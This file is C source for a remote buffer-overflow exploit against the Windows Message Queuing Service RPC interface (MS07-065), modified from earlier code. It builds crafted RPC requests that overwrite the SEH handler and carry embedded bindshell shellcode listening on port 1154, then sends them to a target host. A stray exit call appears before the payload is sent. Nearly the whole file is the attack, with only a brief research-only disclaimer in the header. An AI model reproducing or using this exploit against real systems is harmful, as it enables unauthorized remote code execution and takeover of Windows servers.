/* Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065) Mod of axis's code. CHANGELOG - added dnsname as a parameter, before it was hardcoded in the request data. (Marcin Kozlowski) Provided for legal security research and testing purposes ONLY Go through the code :) */ #include #include #include #include #include #pragma comment(lib,"ws2_32") // RPC Bind UUID: fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0 char bind_str[] = { 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xd0, 0x16, 0xd0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11, 0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25, 0x01, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00 }; char *request_1; // RPC Request Opnum: 0x06 char request_1a[] = { 0x05, 0x00, 0x00, 0x81, 0x10, 0x00, 0x00, 0x00, 0xd0, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x98, 0x17, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11, 0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25, 0x01, 0x00, 0x00, 0x00, 0xba, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x0b, 0x00, 0x00 }; char *request_1b; char request_1c[] = { 0x5c, 0x00, 0x00, 0xcc, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xeb, 0x06, 0x42, 0x42, 0x32, 0xb0, // \xeb\x06\x42\x42 jmpcode 0x01, 0x78, 0x2b, 0xc9, 0x83, 0xe9, 0xb0, 0xd9, // overwrite seh ; call ebx 0xee, 0xd9, 0x74, 0x24, 0xf4, 0x5b, 0x81, 0x73, // bindshell on port 1154, metasploit shellcode 0x13, 0x1d, 0x82, 0x67, 0xb4, 0x83, 0xeb, 0xfc, 0xe2, 0xf4, 0xe1, 0xe8, 0x8c, 0xf9, 0xf5, 0x7b, 0x98, 0x4b, 0xe2, 0xe2, 0xec, 0xd8, 0x39, 0xa6, 0xec, 0xf1, 0x21, 0x09, 0x1b, 0xb1, 0x65, 0x83, 0x88, 0x3f, 0x52, 0x9a, 0xec, 0xeb, 0x3d, 0x83, 0x8c, 0xfd, 0x96, 0xb6, 0xec, 0xb5, 0xf3, 0xb3, 0xa7, 0x2d, 0xb1, 0x06, 0xa7, 0xc0, 0x1a, 0x43, 0xad, 0xb9, 0x1c, 0x40, 0x8c, 0x40, 0x26, 0xd6, 0x43, 0x9c, 0x68, 0x67, 0xec, 0xeb, 0x39, 0x83, 0x8c, 0xd2, 0x96, 0x8e, 0x2c, 0x3f, 0x42, 0x9e, 0x66, 0x5f, 0x1e, 0xae, 0xec, 0x3d, 0x71, 0xa6, 0x7b, 0xd5, 0xde, 0xb3, 0xbc, 0xd0, 0x96, 0xc1, 0x57, 0x3f, 0x5d, 0x8e, 0xec, 0xc4, 0x01, 0x2f, 0xec, 0xf4, 0x15, 0xdc, 0x0f, 0x3a, 0x53, 0x8c, 0x8b, 0xe4, 0xe2, 0x54, 0x01, 0xe7, 0x7b, 0xea, 0x54, 0x86, 0x75, 0xf5, 0x14, 0x86, 0x42, 0xd6, 0x98, 0x64, 0x75, 0x49, 0x8a, 0x48, 0x26, 0xd2, 0x98, 0x62, 0x42, 0x0b, 0x82, 0xd2, 0x9c, 0x6f, 0x6f, 0xb6, 0x48, 0xe8, 0x65, 0x4b, 0xcd, 0xea, 0xbe, 0xbd, 0xe8, 0x2f, 0x30, 0x4b, 0xcb, 0xd1, 0x34, 0xe7, 0x4e, 0xd1, 0x24, 0xe7, 0x5e, 0xd1, 0x98, 0x64, 0x7b, 0xea, 0x63, 0x36, 0x7b, 0xd1, 0xee, 0x55, 0x88, 0xea, 0xc3, 0xae, 0x6d, 0x45, 0x30, 0x4b, 0xcb, 0xe8, 0x77, 0xe5, 0x48, 0x7d, 0xb7, 0xdc, 0xb9, 0x2f, 0x49, 0x5d, 0x4a, 0x7d, 0xb1, 0xe7, 0x48, 0x7d, 0xb7, 0xdc, 0xf8, 0xcb, 0xe1, 0xfd, 0x4a, 0x7d, 0xb1, 0xe4, 0x49, 0xd6, 0x32, 0x4b, 0xcd, 0x11, 0x0f, 0x53, 0x64, 0x44, 0x1e, 0xe3, 0xe2, 0x54, 0x32, 0x4b, 0xcd, 0xe4, 0x0d, 0xd0, 0x7b, 0xea, 0x04, 0xd9, 0x94, 0x67, 0x0d, 0xe4, 0x44, 0xab, 0xab, 0x3d, 0xfa, 0xe8, 0x23, 0x3d, 0xff, 0xb3, 0xa7, 0x47, 0xb7, 0x7c, 0x25, 0x99, 0xe3, 0xc0, 0x4b, 0x27, 0x90, 0xf8, 0x5f, 0x1f, 0xb6, 0x29, 0x0f, 0xc6, 0xe3, 0x31, 0x71, 0x4b, 0x68, 0xc6, 0x98, 0x62, 0x46, 0xd5, 0x35, 0xe5, 0x4c, 0xd3, 0x0d, 0xb5, 0x4c, 0xd3, 0x32, 0xe5, 0xe2, 0x52, 0x0f, 0x19, 0xc4, 0x87, 0xa9, 0xe7, 0xe2, 0x54, 0x0d, 0x4b, 0xe2, 0xb5, 0x98, 0x64, 0x96, 0xd5, 0x9b, 0x37, 0xd9, 0xe6, 0x98, 0x62, 0x4f, 0x7d, 0xb7, 0xdc, 0xf2, 0x4c, 0x87, 0xd4, 0x4e, 0x7d, 0xb1, 0x4b, 0xcd, 0x82, 0x67, 0xb4, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 }; char request_2[] = { 0x05, 0x00, 0x00, 0x82, 0x10, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x30, 0xa0, 0xb3, 0xfd, 0x5f, 0x06, 0xd1, 0x11, 0xbb, 0x9b, 0x00, 0xa0, 0x24, 0xea, 0x55, 0x25, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; void usage (char *argv) { printf (" Usage: %s -h 127.0.0.1 (Universal exploit)\n", argv); printf (" %s -h host -n dnsname [-p port]\n", argv); exit (1); } /************* TCP connect *************************/ void Disconnect (SOCKET s); // ripped from isno int Make_Connection (char *address, int port, int timeout) { struct sockaddr_in target; SOCKET s; int i; DWORD bf; fd_set wd; struct timeval tv; s = socket (AF_INET, SOCK_STREAM, 0); if (s < 0) return -1; target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr (address); if (target.sin_addr.s_addr == 0) { closesocket (s); return -2; } target.sin_port = htons ((short) port); bf = 1; ioctlsocket (s, FIONBIO, &bf); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO (&wd); FD_SET (s, &wd); connect (s, (struct sockaddr *) &target, sizeof (target)); if ((i = select (s + 1, 0, &wd, 0, &tv)) == (-1)) { closesocket (s); return -3; } if (i == 0) { closesocket (s); return -4; } i = sizeof (int); getsockopt (s, SOL_SOCKET, SO_ERROR, (char *) &bf, &i); if ((bf != 0) || (i != sizeof (int))) { closesocket (s); return -5; } ioctlsocket (s, FIONBIO, &bf); return s; } void Disconnect (SOCKET s) { closesocket (s); WSACleanup (); } /****************************************************/ int main (int argc, char *argv[]) { unsigned char *target = NULL; unsigned char *name = NULL; int port = 2103; int i, j, len, len2; int ret; char buffer[6000] = { 0 }; SOCKET s; WSADATA WSAData; printf("--------------------------------------------------------------------------\n"); printf("-== Windows Message Queuing Service RPC BOF Exploit (MS07-065) - MK mod ==-\n"); printf("-== code by axis@ph4nt0m ==-\n"); printf("-== Http://www.ph4nt0m.org ==-\n"); printf("-== Tested against Windows 2000 server SP4 ==-\n"); printf ("--------------------------------------------------------------------------\n\n"); if (argc < 5) usage (argv[0]); //Handle parameters for (i = 1; i < argc; i++) { if ((argv[i][0] == '-')) { switch (argv[i][1]) { case 'h': target = (unsigned char *) argv[i + 1]; break; case 'p': if (strcmp (argv[i + 1], "2103") == 0) { printf ("[+] Attacking default port 2103\n"); } else { port = atoi (argv[i + 1]); } break; case 'n': name = (unsigned char *) argv[i + 1]; break; default: printf ("[-] Invalid argument: %s\n", argv[i]); usage (argv[0]); break; } i++; } else usage (argv[0]); } request_1b = malloc (sizeof (char) * (strlen (name) * 2)); if (request_1b == NULL) { printf ("Allocation Error\n"); exit (1); } strcpy (request_1b, name); for (i = 0, j = 0; j < (strlen (name) * 2); j++) { if (!(j % 2)) { *(request_1b + j) = *(name + i); } else { *(request_1b + j) = '\x00'; i++; } } /********************** attack payload ***************************/ if (WSAStartup (MAKEWORD (1, 1), &WSAData) != 0) { fprintf (stderr, "[-] WSAStartup failed.\n"); WSACleanup (); exit (1); } Sleep (1200); s = Make_Connection ((char *) target, port, 10); if (s < 0) { fprintf (stderr, "[-] connect err.\n"); exit (1); } //Send our evil Payload printf ("[*]Sending our Payload, Good Luck! ^_^\n"); printf ("[*]Sending RPC Bind String!\n"); send (s, bind_str, sizeof (bind_str), 0); Sleep (1000); printf ("[*]Sending RPC Request Now!\n"); len = 56 + (strlen (name) * 2) + 640; request_1 = calloc (len, sizeof (char)); if (request_1 == NULL) { printf ("Allocation Error\n"); exit (1); } memcpy (request_1, request_1a, 56); memcpy (request_1 + 56, request_1b, (strlen (name) * 2)); memcpy (request_1 + 56 + (strlen (name) * 2), request_1c, 640); exit(1); memset (buffer, '\x41', sizeof (buffer)); // fil the buffer to trigger seh send (s, request_1, sizeof (request_1), 0); send (s, buffer, 5104, 0); // fil the buffer to trigger seh send (s, request_2, sizeof (request_2), 0); Sleep (100); memset (buffer, 0, sizeof (buffer)); ret = recv (s, buffer, sizeof (buffer) - 1, 0); //printf("recv: %s\n", buffer); Disconnect (s); return 0; }